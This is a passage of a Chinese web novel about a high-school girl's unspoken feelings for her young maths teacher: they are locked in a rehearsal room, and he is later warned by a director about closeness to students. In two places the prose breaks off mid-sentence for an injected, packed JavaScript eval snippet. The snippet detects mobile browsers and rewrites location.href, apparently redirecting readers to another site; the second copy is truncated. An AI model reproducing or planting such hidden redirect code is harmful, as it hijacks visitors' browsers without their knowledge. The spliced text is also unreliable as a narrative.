一旁的邵渝,视线则在那两人之间转了一圈,最终锁定了秦暮野,不免腹诽道: 还挺不经夸。 况且夸的是这首曲子好听,又没夸他弹的好听。 …… 不间断排练了两个多小时,转眼到了七点半,狭小的窗户透进夜色,天色已晚。 邵渝是先走出屋子的,和她搭档的女生追了上去。 “我们一起走吧,我有问题想请教你。”女生快步走到他身边,满眼期待望着对方。 邵渝没有犹豫,淡声回绝:“抱歉,陈老师找我过去,要整理些材料。” 他礼貌笑笑,对于女生的挽留没有半分动容,快步离去。 赵栩在旁悄悄观看,瞧着女生落寞的神情,都忍不住动了恻隐之心,同时不禁暗自吐槽: 不是吧,他怎么好意思拒绝这么好看的女生,所提出的同行的要求。 想到这里,赵栩掀起眼皮,瞟了一眼还在沉迷练琴的秦暮野,心中愈发郁结。 她才不想和他呆在一个空间,免得变笨。 赵栩才走到门口,却看到周帆候在那里,似乎是在等她。 “关于朗诵的情感,我总有点把握不好,能不能和你讨论一下。”他挑起那双多情的眼睛,笑容阳光。 若非他声名在外,且赵栩的第六感一向很强,怕是就要被他糊弄过去了。 “我还有点事儿。”赵栩自然而然后退一步,随口扯谎:“我有几道题想问问我数学老师,你先走吧。” 说完,没给男生说话的机会,赵栩在心里小小翻了个白眼,顺手把门带上,把这个麻烦隔绝在门外。 因为关门的举动,钢琴乐囿于狭小的屋子里,明明淡雅的曲调却显得分外浓烈,也许和演奏者过于投入有关。 纵他弹奏得如何动听,赵栩都背对着他,绝对不多看他一眼。 心想自己也要有点出息,他都不理人,还看他干嘛? 欣赏了……不是,等待了几分钟后,赵栩估摸着周帆应当走远了,再去开门。 她拧了一下把手,门仍是紧紧锁着,起初以为是拧错了方向,她换了个方向拧。 这一拧,就把门把手拧断了,她又使劲儿推了几下,仍是纹丝不动。 那一刻,赵栩身上冷汗都冒出来了,只敢对着门思过,哪里敢和秦暮野报备。 她知道,自己闯祸了。 闯大祸了。 35. 沉静如海[6] 被一起锁在排…… 一曲完毕,秦暮野发觉到学生仍留在这里,刚要开口询问,却发现背对着他的赵栩,垂着脑袋,紧握门把手。 背影看起来可怜极了,像个做错事的孩子。 秦暮野缓步走向门口,不好的预感无限蔓延。 他上前使劲推门,奈何固若金汤,纹丝不动,随后低头查看。 直至看到被拧断的锁芯,他温朗一笑,如画的眉目,些许无奈一闪而过。 这是怎么把锁芯拧断的? 这个无害的笑容,在赵栩看来有点惊悚,她微微愣怔,忍不住后退一步,实在没想明白他在这种情况下,怎么能笑出来的。 “对不起老师。”她垂下眼睑,愈发愧疚。 眼见他笑而不语,赵栩灰溜溜背过身去,朝着窗子的方向走去。 “这是五楼。”秦暮野把手撑在桌子上,温声提醒。 赵栩急得脑门冒汗,在原地团团转,竟然忘了看手机这一步。 可当她拿出手机,无论怎么去按锁屏键,黑黑如也的屏幕里,只有自己焦虑的眼睛。 她忽地想起,两个多小时前,手机就只剩5%的电了,更是懊恼。 “对不起……”赵栩用力眨了眨眼,紧抿着嘴唇,压抑着委屈。 “抱歉,我的手机在自习室。”秦暮野抬头注视着她,眼神中透出歉意,勉强笑笑。 他对手机的依赖没有那么强,好巧不巧,最需要手机的时候,恰好没带。 赵栩蹲坐在原地,闷闷不乐的思绪里,夹杂了点别的。 尽管她不愿意承认,其实有一点点难言的庆幸。 温冷的木质香,宛如春雪融化在山岭,一轮霜月映梨花,清新淡雅的香味便萦绕在她左右。 赵栩将脸埋在膝间,闻着独属于他的气息,把自己蜷成一团,脸颊温度渐长。 关注余光里的他,偷偷听着自己的心跳,寻求片刻安宁。 秦暮野又坐回钢琴旁,白皙骨感的手指,如落雨般滴在琴键上。 珍珠泉再度吐纳着清润的溪流,轻抚心间。 “老师。” 赵栩依旧拢腿坐着,把脸放在膝盖上,面朝向他。 “您会弹别的曲子吗?”她启唇问道,小鹿眼里闪过迷离的光。 琴音暂停,秦暮野问:“想听什么?” “随便,小众点的就行。”她依旧把脸埋在膝间,声音如同被罩进纸张里,听起来疲惫极了。 秦暮野沉吟稍许,手指覆上钢琴,轻弹几下,便引入了一个夏天。 一个如烟火绚烂而短暂的夏天。 这首曲子的名字叫《夏日幽灵》。 随着温柔的乐曲,轻易便置身那个岁月静好,但隐含秘密的夏天。 纯钢琴奏乐,削减了其中的伤情,平添了些灵动,似有点点萤火吟夏。 因为曲调过于静谧,赵栩忽觉困意袭来,阖上双眼的第一秒钟,仿佛花火就开满了天际。 她想到了自己曾看过的一本书: 《夏天、烟火和我的尸体》 里面有一句话,让她印象最为深刻: “除我之外的所有事物都迎来了清晨。” 初读时,说不出的酸疼堵在胸口。 藏在绚烂烟火的阴暗面,何尝没有她的一席之地? 可是现在,赵栩暂时不去想过往的那些糟心事,也不想烦恼那条好友申请……更不敢细思,如果那帮人要强行扰乱她平静的生活,又该怎么办? 此时她只想拥着乐曲,尤其是他弹奏的钢琴曲入眠。 明明应该腐烂在泥沼中的往事,在烟火坠地的刹那,却不小心绽开了花火。 就叫她沉在夜里,也好让他多陪她一秒。 窗外下起了小雨,很有节律地敲击在窗子上。 秦暮野注意到外面在下雨,停下弹琴,凝视着窗外。 玻璃窗里映出了两人的身影,趁着窗以黑夜为幕,他故作不经意瞥过那个抱膝而睡的女孩。 光影错综间,似乎是他的眼里在下雨。 奈何眸光脆弱,被泻入的晚风一击即溃。 破碎的残念溅落满地,其中一块碎片遍寻不得,是他想偷偷藏起。 正值雨季,可这时的雨量应当不大,并非预报中的那般雷雨交加,仅是一场斜风细雨。 秦暮野收回视线,阖眼片刻。 再度睁开眼时,难言的忧伤融进这场微雨,已经伴着琴音倾泻而出。 这首曲子的名字叫《春夜喜雨》。 可是,为什么在夏天要弹奏春天? 因为他难得喜欢春天,在今年。 窗外是夜的写意画,执笔的人在窗内,雨水斑驳了窗子,亦模糊了藏在雨雾背后的两人,时近时远。 秦暮野心不静,琴随心动,弹奏的动作越发浓重。 弹的不像“春夜喜雨”,倒像是“大雨滂沱”。 即背离了最初的意境,秦暮野索性便不再弹,他再度看向窗外,托着侧脸,佯装赏雨。 实际上屋内灯亮,透过玻璃窗只能看到屋内的映像,哪能看得清窗外? 他静观了几秒,不难判断出,赵栩应当是睡着了。 她睡觉的时候,下意识将身体蜷缩成团,把脸埋在背离光的地方,可见平时缺乏安全感。 就这样沉默了良久,秦暮野把钢琴盖上,随手拿过纸笔。 他攥紧了中性笔,眸光沉了沉,无意识地在纸张上演算着数学大题。 等他反应回来时,发现自己居然在尝试如何证明黎曼猜想。 秦暮野一只手写着数学,另一手随意抚过钢琴,在心里悄然谱曲,却不敢奏响。 生怕惊扰了谁,生怕呼之欲出。 黑白色也许才是最纯粹的爱憎,让人无暇去估计俗世的斑斓,他们能暂时躲进这片灰色故土,不必困扰清晨的光。 哪怕太阳注定照常升起。 浸着凉意的冷风顺着窗缝吹入,将他吹了个清醒。 秦暮野抬手去关窗,却发现窗框变形,窗子难以关上,只能任由冷气灌入房间。 顾念到还在睡觉的赵栩,他犹豫稍许,顺手拿起衣架上挂的一件西服外套,向她走去。 接着放缓动作,轻之又轻地把衣服,披在她的肩上。 赵栩睡得并不沉,仍然保持着高度的警惕性,潜意识中想要拨开那件外套,却不小心覆上了他的手。 睡梦中的她,依稀能感觉到手下触觉温热,又略有薄茧,摸起来有种难言的安全感。 赵栩混沌的意识忽然清明,就算还闭着眼,也很快反应过来。 她好像摸上了谁的手…… 又已知,她还没从排练室出去。 而且和她待在一起的还有…… 短短几秒内,待把利害关系想明白了,赵栩哪里敢睁眼,只得一直闭着眼装睡,实际上心脏差点要跳出来,体温骤升。 抱膝而坐的姿势差点就要保持不住,仿佛下一秒就要仰倒。 时间静止了几秒,秦暮野像是突然跌入冰湖,被无形的丝线束缚,动弹不得。 尤其对方手腕处的橘子花手链,如同复杂心绪的实体,凸起的晶石硌着他的手腕。 他如同触电般,刚忙缩回手。 刹那间手腕仍残留着痛感。 刺痛他,扰乱他 而装睡的赵栩也陷入了惶惑,一动不敢动,小鹿直往心墙莽撞。 她现下一动不敢动,不然不就坐实了自己装睡还偷摸别人的手,面子都不要了。 赵栩似乎仍能感受到手心残留的传来的余温,心底最柔软的位置亦为之所烫。 秦暮野连忙起身背过身去,睫毛轻颤,喉结亦随之滚动。 最强烈的一个念头,是忘记方才荒唐的一幕。 -咔 门外响起了刺耳的开锁声,秦暮野为之一愣,瞳色愈暗,有种秘密被勘破的羞耻感。 门锁处金属断裂的声音,连同那根妄念一同挑断。 …… “栩栩栩栩!” 门打开后,韩明月直接扑向赵栩把人摇“醒”,焦急地说:“没事吧?” 赵栩一直把脸埋在膝盖处,乍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14751859|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然睁开眼睛,不由得被强光所刺,故而眯着眼睛。 待眼前清明,她发现屋内除了赶来的朱临清、韩明月和徐仲仪,屋里根本没有第五个人。 秦暮野去哪里了? “哎呀那个周帆真不是东西,问他你去哪儿了,他就知道说不知道,还得是人家邵渝……” “他就是看追不上你恼羞成怒了……”韩明月义愤填膺地吐槽,全然没发觉朋友的异常。 赵栩彻底清醒过来后,顾不上听他们说了什么,环视一周。 她呼吸稍稍紊乱,目光最终锁定在了那个衣柜,眼底落上了一层霜。 那一刻,她陡生慌张与悲凉。 她眼中的青山不远,却不能抵达,哪怕捡拾山脚处一片枯叶,都不该属于她。 “栩栩,你在看什么?”朱临清顺着她的视线看去,挑了挑犀利的眼眸。 “没什么。”赵栩慌忙别开眼睛,生怕被聪明的朋友看出什么。 然后看向满手油灰的徐仲仪,不难猜出是他破坏了锁芯,点头致谢:“谢谢。” 赵栩说完这句话,便低头快步离去,任朋友们如何在后面叫她的名字,都不敢回头。 她怕自己多留在这里一秒,秦暮野就会多陷入一分被动。 朱临清压下满腹的疑惑,先追了出去,留下韩明月和徐仲仪两人断后。 韩明月正要走出去,却发现徐仲仪扭头向屋内,直直地盯着衣橱,神情莫名严肃。 “你怎么还不走?”韩明月先行一步跑出门外,然后开玩笑道:“现在不走,下一个就把你关在里面!” “没什么。”徐仲仪一改往日的亲切,语调里有着说不出的冷。 “我只是忽然想起,有种虫子不能见光,刚才恰好在墙角看到一只,有点奇怪。” 说罢,他别开眼神,嘴角扬起一丝讥讽的笑,在韩明月“这个人真是莫名其妙”的注视下,扬长而去。 厚重的关门声犹在耳,秦暮野尚躲在衣橱里,只冷眼瞧着那个充满讽刺的眼神,一边捂着被手链划伤的腕处,忘记了划痕处渗出了血珠。 他无声地笑了,笑意却到达不了黯淡的双眸。 徐仲仪的话半分错都没有,毫不留情地扯下了他的最后一层光鲜,也是点醒了他—— 如果只能有一个人在阳光下,那个人必须是她。 而如他这般,从上到下都卑劣无比的存在。 应该永远藏在角落,见不得光。 …… 回到宿舍后,赵栩只觉浑浑噩噩,思绪深处涌动着不知名的浪潮,时涨时落。 仿佛验证了心中答案的同时,不可避免会触及到禁地。 她反复在想一个问题: 如果他问心无愧,躲什么躲? 以至到了熄灯的前一秒,她才懵懵地盖上被子。 都说谈恋爱耽误事,她还没到那天,就已经烦躁不已。 她自诩不是什么恋爱脑,因为秦暮野就算任教数学,她依然对数学提不起半分兴趣,觉得这是一门很讨厌的学科。 赵栩一晚上辗转反侧,又怕惊扰到上铺的韩明月,索性平躺在床上,盯着天花板。 迷迷糊糊睡着之前,依稀看到韩明月踩着梯子下来,没多加在意,便沉沉睡过去。 第二天清晨,赵栩仍然要去排练朗诵,为着不用去上自习,所以她起得稍微晚了点,待洗漱好准备出门时,宿舍里只剩下她一个人了。 她正要背着包往排练教室走,同时在苦恼该怎么应对秦暮野,朱临清就气势汹汹地走进宿舍,扯着她的手就往外走。 “怎么了?”赵栩眼神茫然,还没反应回来,就被强行带出了宿舍。 朱临清头也不回,继续大步往前走,语气淡淡,听不出情绪。 “秦老师被主任叫去谈话了。” 见她神色郑重,赵栩有种不好的预感,心里一坠,试探地问: “因为什么?” 朱临清停下脚步,凝视着她的眼睛,一字一句认真说: “因为和学生走得太近,被警告了。” 36. 沉静如海[7] 少和异性学生…… 没等听朱临清说完,赵栩就匆匆跑向办公室,内疚又心虚。 那份不该有的情愫,哪怕藏得再好,都会战战兢兢,生怕有一日成为害人害己的利刃。 可说起来,他们堂堂正正做人,清清白白做事,被一起关在排练室也是意料之外,如果有看秦暮野不顺眼的人借题发挥,借她的事情让他颜面尽失…… 赵栩不敢继续想下去,一步三个台阶往下迈,飞速跑向办公室。 “你干嘛跑那么快,还嫌上次摔得不够重。”朱临清不由得气喘吁吁,很是无奈。 两名女生还没到达办公室门前,里面就传出了一道严厉的呵斥声: “秦老师,你知道这么做是违反规定的吗?” 闻言,赵栩即刻停住了脚步,心脏高悬,耳边嗡嗡作响,各种坏的预想在脑海里横冲直撞。 而后她鼓起勇气,偷偷打开没有关紧的门,从门缝往里看,只见主任办公室里热闹得很。 所幸现在是上课期间,办公室里只有寥寥几个老师,可除了主任和秦暮野之外,韩明月和徐仲仪也在。 女生耷拉着脑袋,满脸愧疚扣手。而向来难改桀骜本色的男生,此时脸上也显露出些许自责。 面对主任的批评,秦暮野并未多做反驳,只是回答:“是我这个老师没有做好表率。” “老师你不用替我们揽责任,我都这么大的人了还偷吃零食,不关你的事。”韩明月面对着主任犀利的眼神,起初是不敢抬头的,做了几秒钟思想建设后,大胆抬头看向主人,承认错误: “主任对不起。要罚就罚我吧,和秦老师没关系。” 在门外偷听的赵栩更疑惑了,却悄悄放下了几欲坠地的心脏,并很快反应过来: 秦暮野被找谈话,应该和在排练室的那天无关。 在主任的训话中,她慢慢理清了事情的经过: 二班对于手机的事情,都是睁一只眼闭一只眼,但的的确确明令禁止带扑克、大富翁等棋牌类游戏。 谁知昨天晚上,男生们熄灯之后还在打斗地主,被抓了个正着。被训的男生代表自然就是徐仲仪。 他其实没参与打牌,只是在不用的纸牌上写情诗。不过谁让他倒霉呢?老师推门进来的时候,他写的正投入,以至于被抓到的时候都笑嘻嘻的。 “你能不能让人省点心,期中数学刚过百还敢玩扑克,能玩明白吗?”主任敲了敲桌子,无奈训斥。 旁边的韩明月尽管数学没过百,但是一个没忍住,笑出了声,吸引了主任的目光。 主任冷哼一声,不由得阴阳:“你更厉害,大半夜去厕所吃泡面。” 想起这桩糗事,韩明月立即抿起嘴唇,哪里还敢嬉皮笑脸。 凌晨在宿舍楼巡视的偏偏还是年级主任本人,结果被抓个正着。 不仅如此,她吓得把泡面碗摔倒在地,泡面汤溅了主任满裙子都是,自然罪加一等。 听到这里,朱临清不禁笑出了声,幸灾乐祸:“咱那儿厕所味道那么难评,她是怎么吃下去的?” 赵栩陷入了一秒钟的沉思,并记起那天晚上韩明月偷偷摸摸下床,不知道干什么去了,又忽然想起她前几天的晚上躲在厕所哭时,闻到了隔壁火鸡面的味道…… 串联起一系列的巧合,她也很不道德地笑出来。 这大馋丫头。 年级主任看向静候发落的学生,气不打一处来:“打扑克的打扑克,吃泡面的吃泡面,上个周还抓了你们班一对谈恋爱的,是要反了天了?” “这不是让隔壁师大附中看笑话吗?” 秦暮野怕主任越说越上火,给学生记过记过就不好了,于是正正神色,上前一步把学生挡在身后,随即致歉: “我作为老师有着不可推卸的责任,零食是我买的,其他违禁用品也是我没查出来。” 徐仲仪微挑眉头,手插在口袋里,只默默注视着门缝处那双担忧的眼睛,心里愈发烦躁。 韩明月则连忙抬头,有些着急:“秦老师也是好意……” “秦老师,给学生们买零食是错,但你不觉得有一个问题更严重吗?”主任满脸严肃,注视着对方。 秦暮野转过身去,细思片刻,眼底亮色渐暗不明,仍是保持镇定,点了点头。 前因后果,就是秦暮野给女生寝室送了那些暖宝宝和卫生巾,被有心之人打了小报告。 主任轻声叹气,扶了扶眼镜,略微嘶哑的嗓音中掩饰不住愠怒。 “学农基地这里条件艰苦,所以很多老师都放任学生吃零食,这个我不说什么,也不是我找你的目的。” 主任深吸一口气,犀利的目光藏在镜片之后,语气降至冰点:“我提醒你,和学生……尤其是异性学生不要走的太近,也不要表现出过分关心。” “前些日子,隔壁十一中刚处理了一个,学生转了学,老师直接辞退。” 秦暮野启了启唇,正欲开口,却被打断: “我知道你可能没有什么其他想法,但架不住人多嘴杂,今天只是有人打小报告,明天被发到网上怎么办?” “是我没有做好自己的本职工作。”秦暮野低垂眼睑,意图遮住瞳孔中的疏影。 待反省过来后,眸中重新归于凉薄的清明,不敢兼容半分多余的情感。 “谢谢您的劝告,我记下了。” 这些话确实推心置腹,句句在理,让人无法反驳。 像是某种指引,他忽地想起那份未得到回应的辞职报告,转而问:“主任,我前些日子……” “喂?”主任没来得及听完他的话,那边就接起了电话,示意师生三人离开,秦暮野只能暂时作罢。 门外的赵栩扶在墙边,手指下意识蜷缩,短短的几分钟,短短几句话,却像被敲打了无数次。 赵栩浸入在慌乱之中,丝毫没有意识到,师生三人已经离开了办公室。 徐仲仪离开办公室后,感受到了周围莫名低沉的气氛,开个玩笑缓和气氛: “我能不能采访采访你,大半夜去厕所吃泡面,感觉如何?” 近些时日,韩明月本来就被柯明扬烦的不行,加上学农基地饭又难吃,唯一能吃下去的只有泡面,才闹了这么大的笑话。 她现下心烦,瞪了一眼徐仲仪,两指夹着一张扑克牌,是方才从主任桌上顺走的,正是昨晚徐仲仪的诗作。 “我吃泡面,你也没好到哪去,写那个酸诗,让人鸡皮疙瘩掉一地……” 她报复似的,把那张扑克牌在所有人溜了一圈,徐仲仪连忙伸手去夺,却被韩明月轻巧避开,她大仇得报,索性大声朗诵出来: “找寻花影的踪迹,回眸处,煦色韶光。” “我折一枝春,奈何晨光熹微……不是你写的这什么四不像,藏头诗都连不起来。” 韩明月忘了当事人赵栩就在现场,肆意嘲笑着徐仲仪。 男孩一张俊脸,烧得通红,木讷地半天说不出话,憋了良久,才支支吾吾地说:“这不是还有待精进吗……” 韩明月瞅着那恣意的字体,尚能入眼,扬了扬下巴,“你去给栩栩品鉴品鉴呗,看你这诗能卡个什么档次。” “栩栩,栩栩。” 韩明月叫着她的名字,却发现对方毫无反应。 徐仲仪也看向赵栩,发现她神色凝重,目光早已追往走廊尽头。 当看清她的神思所向,他唇边的笑容一滞,戾色即刻染透了眼睛,只觉心中烦闷到了极点。 要不是碍于还有两个女生在场,徐仲仪真的很想扳过赵栩的肩膀,好好问问她: 你究竟在看什么? 为什么要那么在意他? 他摆明了对你不怀好意,简直道貌岸然…… 彼时的赵栩大概还没做好心理准备,要以怎样的态度面对秦暮野。 仿佛雾起苍穹,阴沉的灰云一股脑向她倾轧,远处灯火将熄,她仍在苦思,要如何挽住她的余晖。 赵栩只怔怔地望着远处,亦不知道视线该聚焦何处。 方才秦暮野他仅是与她擦肩而过,连视线都没有偏移毫分。 残留的一丝,仍旧是没有人情味的薄荷冷调香,而后随风飘散。 从遇见他开始,万物虚幻得就像一场梦。 一场只有她不愿意醒来的梦。 赵栩生性敏感,此时思绪更是团乱麻,织了一张大网将自己困住。 是在躲她? 还是害怕和她牵扯上关系,耽误前程? “你在出什么神?” 朱临清挡在她眼前,满脸恨铁不成钢的愤懑。 赵栩忙移开视线,假意看向窗外,明明迎光而立,眸中却光晕渐黯,难掩低落。 她勉强笑笑,“所以你带我来这里,是什么意思?” 朱临清看了眼办公室的门,把她带出了走廊,确定周围没人才开口: “带你看看,及时止损几个字要怎么写。” 事已至此,朱临清深吸口气,索性开诚布公地谈:“我怕下一步会有闲话传出来,对你对他都不好。” 这些天来,赵栩的失落与内耗她都看在眼里,无奈在心。 且朱临清一早就知道,秦暮野被找谈话不是什么大事,但她要夸大事情的严重性,才能给赵栩上上课。 虽然无论喜欢谁,都不免会出现患得患失的状况,但是赵栩喜欢的这位,是当下的她不该惦记的,若是牵扯的精力多了,受伤的只有她自己。 韩明月上前扯扯朱临清的袖子,挑挑眉毛,当起了和事姑,“你这不小题大做吗?青春期谁还没点秘密?” “喜欢老师怎么了?我还喜欢过柯明扬那个神经病呢,你不说我不说,说不定毕业能成就一段佳话。” 朱临清将胳膊抽出来,罕见爆了粗口:“佳话个屁?毕业在一起就叫有道德了?” 朱临清和韩明月某种程度上,属于极为互补的性格,一个是急性子正义感爆棚,眼里揉不得沙子;一个是散漫乐天派,主打一个“只要能吃好喝好,天塌下来都不干她事”。 而赵栩,属于刚柔并济的性格,能化解万物的烦闷,唯独渡不了自己。 “秦老师风评一向很好,工作负责又关心学生,你怎么对他恶意这么大。”韩明月忍不住小声嘟囔。 朱临清甚是无奈,“我没有对他恶意大,我只是……” “说句不好听的,流言猛于虎,而栩栩又是女生,我怕她被人说闲话。” 流言蜚语总是会先一步压向女生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“反正是咱三个自己吃,让着我点怎么了?”韩明月用手指抹了一块沙拉酱,顺势要往赵栩脸上抹,却被后者轻松避开。 赵栩不由得调侃:“别把沙拉酱吃光了,留着点今晚去厕所拌泡面吃。” “泥!”韩明月回身去寻榴莲酱,却不经意间瞥见角落里的身影,笑容一滞。 她悄悄看向赵栩,本以为对方会分神关注,不曾想却从容笑着,视线也未曾转移,只专注于拌调料,好似全然不在乎。 哪怕那个人,与她近在咫尺,却仿佛房中横生了一道土墙,将他们生生隔开。 秦暮野在屋子的角落里切菜,除了菜刀和案板发出的声响是两人唯一的交汇,至此再无交集。 赵栩瞧着碗里那块凝固的花生酱,任她如何用筷子去戳,却化解不开。 究竟是什么难以消融? 还会有融化的一天吗? 她正在思索问题的答案,口袋里传来手机的震动,她的思绪被打断,打开手机瞥了一眼未知短信。 一连三条,皆是惊雷。 筷子从她的手里落下,掉在地上转了几个来回,却淹没在喧闹声中,无人在意。 悬月终坠,深藏的惊慌伴随着黑夜降临。 赵栩紧咬嘴唇,瞳孔微颤,头皮跟着麻了半边。 她最担心的事情还是发生了。 因为短信上赫然写着: [栩栩我下下个周去找你好不好?] [你是不是喜欢上别人了?才拉黑我?] [我觉得定海市挺好的,咱们以后就住在这儿吧。] 落款: 赵晋。 赵栩猛然站起来,压抑着颤抖的声线,竭力维持面上的镇定: “我去一下洗手间。” 屋子里过于吵闹,韩明月没有听出异样,只是点点头。 “厕所挺远的,靠近桦树林,在个小山包上,要不要我陪你一起去?” 赵栩顿觉耳畔轰鸣,机器人似的摇摇头。 “不用了。” 十分钟、二十分钟……烤肉滋滋声随着诱人的香味逸散,韩明月却没心思吃肉,左等不到,右等不来,隐约有不好的预感。 她按下心中的慌乱,给赵栩打电话,却传来忙音: “您拨打的电话不在服务区内……” 她的第一反应,就是山里信号不好。 而偏偏此时,赵栩失联了…… 韩明月就思维不算缜密,却在短短几秒之间把利害关系分析明白。 如果此时高呼一声,势必会打断同学们聚餐的高涨情绪,如果之后栩栩知道了,按照她的性格一定会自责。 但如果现在不说…… 韩明月不敢再耽搁,连忙跑到角落里,去找朱临清和…… 距离不远的秦暮野。 “栩栩出去快20分钟了,还没回来,手机也打不通。” “秦老师,能和我们一起去找找吗?”她的语气中已然带着焦急的哭腔。 韩明月站定在两人身前,原是本能性去向成年人求助。 却眼睁睁看着他手下的刀锋,险些切过手指。